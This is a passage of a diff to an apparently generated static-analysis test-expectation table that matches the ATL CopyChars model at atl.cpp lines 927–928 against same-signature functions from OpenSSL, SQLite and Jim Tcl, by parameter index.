atl.cpp:927:17:927:25 | CopyChars | (Jim_Interp *,const char *,int) | | Jim_GetGlobalVariableStr | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (Jim_Interp *,const char *,int) | | Jim_GetGlobalVariableStr | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (Jim_Interp *,const char *,int) | | Jim_GetVariableStr | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (Jim_Interp *,const char *,int) | | Jim_GetVariableStr | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (Jim_Interp *,const char *,int) | | Jim_MakeTempFile | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (Jim_Interp *,const char *,int) | | Jim_MakeTempFile | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (Jim_Interp *,const char *,int) | | Jim_NewStringObj | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (Jim_Interp *,const char *,int) | | Jim_NewStringObj | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (Jim_Interp *,const char *,int) | | Jim_NewStringObjUtf8 | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (Jim_Interp *,const char *,int) | | Jim_NewStringObjUtf8 | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OCSP_BASICRESP *,OCSP_CERTID *,int) | | OCSP_resp_find | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OCSP_BASICRESP *,X509_EXTENSION *,int) | | OCSP_BASICRESP_add_ext | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OCSP_BASICRESP *,const ASN1_OBJECT *,int) | | OCSP_BASICRESP_get_ext_by_OBJ | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OCSP_BASICRESP *,int,int) | | OCSP_BASICRESP_get_ext_by_NID | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OCSP_BASICRESP *,int,int) | | OCSP_BASICRESP_get_ext_by_critical | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OCSP_ONEREQ *,X509_EXTENSION *,int) | | OCSP_ONEREQ_add_ext | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OCSP_ONEREQ *,const ASN1_OBJECT *,int) | | OCSP_ONEREQ_get_ext_by_OBJ | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OCSP_ONEREQ *,int,int) | | OCSP_ONEREQ_get_ext_by_NID | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OCSP_ONEREQ *,int,int) | | OCSP_ONEREQ_get_ext_by_critical | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OCSP_REQUEST *,X509_EXTENSION *,int) | | OCSP_REQUEST_add_ext | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OCSP_REQUEST *,const ASN1_OBJECT *,int) | | OCSP_REQUEST_get_ext_by_OBJ | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OCSP_REQUEST *,int,int) | | OCSP_REQUEST_get_ext_by_NID | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OCSP_REQUEST *,int,int) | | OCSP_REQUEST_get_ext_by_critical | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OCSP_SINGLERESP *,X509_EXTENSION *,int) | | OCSP_SINGLERESP_add_ext | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OCSP_SINGLERESP *,const ASN1_OBJECT *,int) | | OCSP_SINGLERESP_get_ext_by_OBJ | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OCSP_SINGLERESP *,int,int) | | OCSP_SINGLERESP_get_ext_by_NID | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OCSP_SINGLERESP *,int,int) | | OCSP_SINGLERESP_get_ext_by_critical | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OPENSSL_STACK *,const void *,int) | | OPENSSL_sk_insert | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_CMP_CTX *,const unsigned char *,int) | | OSSL_CMP_CTX_set1_referenceValue | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_CMP_CTX *,const unsigned char *,int) | | OSSL_CMP_CTX_set1_secretValue | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_CMP_CTX *,int,int) | | OSSL_CMP_CTX_set_option | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_LIB_CTX *,const char *,int) | | EC_GROUP_new_by_curve_name_ex | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_LIB_CTX *,const char *,int) | | EC_GROUP_new_by_curve_name_ex | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_LIB_CTX *,const char *,int) | | EC_KEY_new_by_curve_name_ex | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_LIB_CTX *,const char *,int) | | EC_KEY_new_by_curve_name_ex | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_LIB_CTX *,const char *,int) | | OSSL_PROVIDER_try_load | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_LIB_CTX *,const char *,int) | | OSSL_PROVIDER_try_load | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_dsa_key_new | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_dsa_key_new | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_kem_key_new | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_LIB_CTX *,const char *,int) | | ossl_ml_kem_key_new | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_LIB_CTX *,const char *,int) | | ossl_parse_query | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_LIB_CTX *,const char *,int) | | ossl_parse_query | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_LIB_CTX *,const char *,int) | | ossl_property_name | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_LIB_CTX *,const char *,int) | | ossl_property_name | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_LIB_CTX *,const char *,int) | | ossl_property_value | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_LIB_CTX *,const char *,int) | | ossl_property_value | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_PROVIDER *,OSSL_PROVIDER **,int) | | ossl_provider_add_to_store | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (OSSL_QRL_ENC_LEVEL_SET *,uint32_t,int) | | ossl_qrl_enc_level_set_get | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (PKCS7 *,stack_st_X509 *,int) | | PKCS7_get0_signers | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (POLICYINFO *,const ASN1_OBJECT *,int) | | ossl_policy_data_new | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (PROV_CTX *,const char *,int) | | ossl_prov_ctx_get_bool_param | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (PROV_CTX *,const char *,int) | | ossl_prov_ctx_get_bool_param | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (PROV_CTX *,const char *,int) | | ossl_prov_ml_dsa_new | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (PROV_CTX *,const char *,int) | | ossl_prov_ml_dsa_new | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (PROV_CTX *,const char *,int) | | ossl_prov_ml_kem_new | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (PROV_CTX *,const char *,int) | | ossl_prov_ml_kem_new | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (QLOG *,uint32_t,int) | | ossl_qlog_set_event_type_enabled | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (QUIC_RXFC *,uint64_t,int) | | ossl_quic_rxfc_on_rx_stream_frame | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (QUIC_STREAM_ITER *,QUIC_STREAM_MAP *,int) | | ossl_quic_stream_iter_init | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (QUIC_STREAM_MAP *,uint64_t,int) | | ossl_quic_stream_map_alloc | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (QUIC_TSERVER *,SSL *,int) | | qtest_create_quic_connection_ex | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (RSA *,const OSSL_PARAM[],int) | | ossl_rsa_fromdata | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (SSL *,SSL *,int) | | create_ssl_connection | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (SSL *,const unsigned char *,int) | | SSL_use_certificate_ASN1 | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (SSL *,const void *,int) | | SSL_write | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (SSL *,void *,int) | | SSL_peek | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (SSL *,void *,int) | | SSL_read | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (SSL *,void *,int) | | SSL_set_session_ticket_ext | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (SSL_CIPHER *,const SSL_CIPHER *,int) | | OBJ_bsearch_ssl_cipher_id | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (SSL_CONNECTION *,PACKET *,int) | | ssl_cache_cipherlist | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (SSL_CONNECTION *,WPACKET *,int) | | dtls1_close_construct_packet | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (SSL_CONNECTION *,WPACKET *,int) | | dtls1_set_handshake_header | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (SSL_CONNECTION *,WPACKET *,int) | | tls_close_construct_packet | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (SSL_CONNECTION *,int,int) | | ssl3_send_alert | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (TS_MSG_IMPRINT *,unsigned char *,int) | | TS_MSG_IMPRINT_set_msg | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (TS_REQ *,X509_EXTENSION *,int) | | TS_REQ_add_ext | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (TS_REQ *,const ASN1_OBJECT *,int) | | TS_REQ_get_ext_by_OBJ | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (TS_REQ *,int,int) | | TS_REQ_get_ext_by_NID | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (TS_REQ *,int,int) | | TS_REQ_get_ext_by_critical | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (TS_TST_INFO *,X509_EXTENSION *,int) | | TS_TST_INFO_add_ext | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (TS_TST_INFO *,const ASN1_OBJECT *,int) | | TS_TST_INFO_get_ext_by_OBJ | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (TS_TST_INFO *,int,int) | | TS_TST_INFO_get_ext_by_NID | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (TS_TST_INFO *,int,int) | | TS_TST_INFO_get_ext_by_critical | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (X509 *,X509_EXTENSION *,int) | | X509_add_ext | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (X509 *,int,int) | | X509_check_purpose | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (X509 *,int,int) | | X509_check_trust | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (X509_CRL *,X509_EXTENSION *,int) | | X509_CRL_add_ext | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (X509_PUBKEY *,unsigned char *,int) | | X509_PUBKEY_set0_public_key | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (X509_REVOKED *,X509_EXTENSION *,int) | | X509_REVOKED_add_ext | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (X509_STORE_CTX *,X509 *,int) | | ossl_x509_check_cert_time | 2 | | atl.cpp:927:17:927:25 | CopyChars | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyChars | 0 | | atl.cpp:927:17:927:25 | CopyChars | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyChars | 1 | | atl.cpp:927:17:927:25 | CopyChars | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyChars | 2 | | atl.cpp:927:17:927:25 | CopyChars | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyCharsOverlapped | 0 | | atl.cpp:927:17:927:25 | CopyChars | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyCharsOverlapped | 1 | | atl.cpp:927:17:927:25 | CopyChars | (XCHAR *,const XCHAR *,int) | CSimpleStringT | CopyCharsOverlapped | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (action *,FILE *,int) | | PrintAction | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (acttab *,int,int) | | acttab_action | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const ASN1_VALUE *,const ASN1_TEMPLATE *,int) | | ossl_asn1_do_adb | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const BIGNUM *,int[],int) | | BN_GF2m_poly2arr | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const BIGNUM *,unsigned char *,int) | | BN_bn2binpad | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const BIGNUM *,unsigned char *,int) | | BN_bn2lebinpad | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const BIGNUM *,unsigned char *,int) | | BN_bn2nativepad | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2bin | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2lebin | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const BIGNUM *,unsigned char *,int) | | BN_signed_bn2native | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const CMS_ContentInfo *,BIO *,int) | | ossl_cms_DigestedData_do_final | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const CMS_SignerInfo *,const ASN1_OBJECT *,int) | | CMS_signed_get_attr_by_OBJ | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const CMS_SignerInfo *,const ASN1_OBJECT *,int) | | CMS_unsigned_get_attr_by_OBJ | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const CMS_SignerInfo *,int,int) | | CMS_signed_get_attr_by_NID | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const CMS_SignerInfo *,int,int) | | CMS_unsigned_get_attr_by_NID | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const EVP_MD *,const EVP_MD *,int) | | ossl_rsa_pss_params_create | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const EVP_PKEY *,const ASN1_OBJECT *,int) | | EVP_PKEY_get_attr_by_OBJ | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const EVP_PKEY *,int,int) | | EVP_PKEY_get_attr_by_NID | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const OSSL_PARAM *,BIO *,int) | | OSSL_PARAM_print_to_bio | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const OSSL_PROVIDER *,const char *,int) | | OSSL_PROVIDER_conf_get_bool | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (const OSSL_PROVIDER *,const char *,int) | | OSSL_PROVIDER_conf_get_bool | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const SSL *,char *,int) | | SSL_get_shared_ciphers | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const SSL *,int,int) | | apps_ssl_info_callback | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const SSL_CIPHER *,char *,int) | | SSL_CIPHER_description | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509 *,const ASN1_OBJECT *,int) | | X509_get_ext_by_OBJ | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509 *,const stack_st_X509 *,int) | | OSSL_ESS_signing_cert_new_init | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509 *,int,int) | | X509_get_ext_by_NID | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509 *,int,int) | | X509_get_ext_by_critical | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509_ACERT *,const ASN1_OBJECT *,int) | | X509_ACERT_get_attr_by_OBJ | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509_ACERT *,int,int) | | X509_ACERT_get_attr_by_NID | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509_CRL *,const ASN1_OBJECT *,int) | | X509_CRL_get_ext_by_OBJ | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509_CRL *,const X509 *,int) | | OSSL_CMP_CRLSTATUS_create | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509_CRL *,int,int) | | X509_CRL_get_ext_by_NID | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509_CRL *,int,int) | | X509_CRL_get_ext_by_critical | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509_NAME *,char *,int) | | X509_NAME_oneline | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509_NAME *,const ASN1_OBJECT *,int) | | X509_NAME_get_index_by_OBJ | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509_NAME *,int,int) | | X509_NAME_get_index_by_NID | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509_REQ *,const ASN1_OBJECT *,int) | | X509_REQ_get_attr_by_OBJ | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509_REQ *,int,int) | | X509_REQ_get_attr_by_NID | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509_REVOKED *,const ASN1_OBJECT *,int) | | X509_REVOKED_get_ext_by_OBJ | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_NID | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509_REVOKED *,int,int) | | X509_REVOKED_get_ext_by_critical | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509_SIG *,const char *,int) | | PKCS8_decrypt | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (const X509_SIG *,const char *,int) | | PKCS8_decrypt | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const char *,SD *,int) | | sd_load | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const char *,const OSSL_PARAM *,int) | | print_param_types | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const char *,const char *,int) | | CRYPTO_strdup | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (const char *,const char *,int) | | CRYPTO_strdup | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const char *,const char *,int) | | sqlite3_strnicmp | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (const char *,const char *,int) | | sqlite3_strnicmp | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const char *,long *,int) | | Jim_StringToWide | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const char *,sqlite3_filename,int) | | sqlite3_uri_key | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const stack_st_X509_ATTRIBUTE *,const ASN1_OBJECT *,int) | | X509at_get_attr_by_OBJ | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const stack_st_X509_ATTRIBUTE *,int,int) | | X509at_get_attr_by_NID | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const stack_st_X509_EXTENSION *,const ASN1_OBJECT *,int) | | X509v3_get_ext_by_OBJ | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const stack_st_X509_EXTENSION *,int,int) | | X509v3_get_ext_by_NID | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const stack_st_X509_EXTENSION *,int,int) | | X509v3_get_ext_by_critical | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const unsigned char **,unsigned int,int) | | ossl_b2i_DSA_after_header | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const unsigned char **,unsigned int,int) | | ossl_b2i_RSA_after_header | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (const void *,const void *,int) | | ossl_is_partially_overlapping | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (int,BIO_ADDR *,int) | | BIO_accept_ex | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (int,int,int) | | ASN1_object_size | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (int,int,int) | | EVP_CIPHER_meth_new | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (regex_t *,const char *,int) | | jim_regcomp | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (regex_t *,const char *,int) | | jim_regcomp | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (sqlite3 *,const char *,int) | | sqlite3_overload_function | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (sqlite3 *,const char *,int) | | sqlite3_overload_function | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (sqlite3 *,int,int) | | sqlite3_limit | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (sqlite3_context *,const char *,int) | | sqlite3_result_error | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (sqlite3_context *,const char *,int) | | sqlite3_result_error | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (sqlite3_context *,const void *,int) | | sqlite3_result_error16 | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (sqlite3_index_info *,int,int) | | sqlite3_vtab_in | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (sqlite3_stmt *,int,int) | | sqlite3_bind_int | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (sqlite3_stmt *,int,int) | | sqlite3_bind_zeroblob | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (sqlite3_stmt *,int,int) | | sqlite3_stmt_status | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (sqlite3_str *,const char *,int) | | sqlite3_str_append | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (sqlite3_str *,const char *,int) | | sqlite3_str_append | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (sqlite3expert *,int,int) | | sqlite3_expert_report | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (stack_st_ASN1_UTF8STRING *,const char *,int) | | ossl_cmp_sk_ASN1_UTF8STRING_push_str | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (stack_st_ASN1_UTF8STRING *,const char *,int) | | ossl_cmp_sk_ASN1_UTF8STRING_push_str | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (stack_st_X509 **,X509 *,int) | | ossl_x509_add_cert_new | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (stack_st_X509 **,stack_st_X509 *,int) | | ossl_x509_add_certs_new | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (stack_st_X509 *,ASIdentifiers *,int) | | X509v3_asid_validate_resource_set | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (stack_st_X509 *,IPAddrBlocks *,int) | | X509v3_addr_validate_resource_set | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (stack_st_X509 *,X509 *,int) | | X509_add_cert | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (stack_st_X509 *,stack_st_X509 *,int) | | X509_add_certs | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (stack_st_X509_ALGOR **,int,int) | | CMS_add_simple_smimecap | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (stack_st_X509_ALGOR *,int,int) | | PKCS7_simple_smimecap | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (stack_st_X509_EXTENSION **,X509_EXTENSION *,int) | | X509v3_add_ext | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (uint8_t[56],const gf,int) | | gf_serialize | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (uint32_t *,SSL_CONNECTION *,int) | | ssl_set_sig_mask | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (unsigned char *,const unsigned char *,int) | | EVP_DecodeBlock | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (unsigned char *,const unsigned char *,int) | | EVP_EncodeBlock | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (unsigned char *,uint64_t,int) | | ossl_i2c_uint64_int | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (unsigned int,int,int) | | ossl_blob_length | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (unsigned long *,const BIGNUM *,int) | | bn_copy_words | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (unsigned long *,const unsigned long *,int) | | bn_sqr_words | 2 | +| atl.cpp:927:17:927:25 | CopyChars | (void *,const char *,int) | | CRYPTO_secure_free | 1 | +| atl.cpp:927:17:927:25 | CopyChars | (void *,const char *,int) | | CRYPTO_secure_free | 2 | +| atl.cpp:928:17:928:25 | CopyChars | (BIGNUM *,const BIGNUM *,const BIGNUM *,int) | | ossl_rsa_check_pminusq_diff | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (BIGNUM *,int,int,int) | | BN_bntest_rand | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (BIGNUM *,int,int,int) | | BN_priv_rand | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (BIGNUM *,int,int,int) | | BN_pseudo_rand | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (BIGNUM *,int,int,int) | | BN_rand | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (BIO *,CMS_ContentInfo *,BIO *,int) | | PEM_write_bio_CMS_stream | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (BIO *,CMS_ContentInfo *,BIO *,int) | | SMIME_write_CMS | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (BIO *,CMS_ContentInfo *,BIO *,int) | | i2d_CMS_bio_stream | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (BIO *,PKCS7 *,BIO *,int) | | PEM_write_bio_PKCS7_stream | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (BIO *,PKCS7 *,BIO *,int) | | SMIME_write_PKCS7 | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (BIO *,PKCS7 *,BIO *,int) | | i2d_PKCS7_bio_stream | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (BIO *,X509_EXTENSION *,unsigned long,int) | | X509V3_EXT_print | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (BIO *,const char *,const OCSP_REQUEST *,int) | | OCSP_sendreq_new | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (BIO *,const unsigned char *,long,int) | | ASN1_parse | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (BIO *,int,const ASN1_TYPE *,int) | | ossl_print_attribute_value | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (BIO *,void *,int,int) | | app_http_tls_cb | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (CERT *,const int *,size_t,int) | | tls1_set_sigalgs | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (CERT *,const uint16_t *,size_t,int) | | tls1_set_raw_sigalgs | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (DH *,OSSL_PARAM_BLD *,OSSL_PARAM[],int) | | ossl_dh_key_todata | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (DSO *,const char *,DSO_METHOD *,int) | | DSO_load | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (ENGINE *,const char *,const char *,int) | | ENGINE_ctrl_cmd_string | 2 | +| atl.cpp:928:17:928:25 | CopyChars | (ENGINE *,const char *,const char *,int) | | ENGINE_ctrl_cmd_string | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (ENGINE_TABLE **,int,const char *,int) | | ossl_engine_table_select | 2 | +| atl.cpp:928:17:928:25 | CopyChars | (ENGINE_TABLE **,int,const char *,int) | | ossl_engine_table_select | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (EVP_PKEY_CTX *,const char *,int,int) | | app_keygen | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (FFC_PARAMS *,const unsigned char *,size_t,int) | | ossl_ffc_params_set_validate_params | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (FILE *,lemon *,int *,int) | | print_stack_union | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (Jim_Interp *,Jim_Obj *,Jim_Obj **,int) | | Jim_SubstObj | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (Jim_Interp *,Jim_Obj *,Jim_Obj *,int) | | Jim_ScanString | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (Jim_Interp *,Jim_Obj *,const char *,int) | | Jim_AppendString | 2 | +| atl.cpp:928:17:928:25 | CopyChars | (Jim_Interp *,Jim_Obj *,const char *,int) | | Jim_AppendString | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (Jim_Interp *,Jim_Obj *,const char *,int) | | Jim_ListJoin | 2 | +| atl.cpp:928:17:928:25 | CopyChars | (Jim_Interp *,Jim_Obj *,const char *,int) | | Jim_ListJoin | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (OSSL_CMP_CTX *,const OSSL_CMP_MSG *,ossl_cmp_allow_unprotected_cb_t,int) | | ossl_cmp_msg_check_update | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (OSSL_CMP_CTX *,const OSSL_CMP_PKISI *,const OSSL_CRMF_CERTID *,int) | | ossl_cmp_rp_new | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (OSSL_LIB_CTX *,const char *,OSSL_PARAM *,int) | | OSSL_PROVIDER_try_load_ex | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,int) | | ossl_param_build_set_int | 2 | +| atl.cpp:928:17:928:25 | CopyChars | (OSSL_PARAM_BLD *,OSSL_PARAM *,const char *,int) | | ossl_param_build_set_int | 3 | +| atl.cpp:928:17:928:25 | CopyChars | (RSA 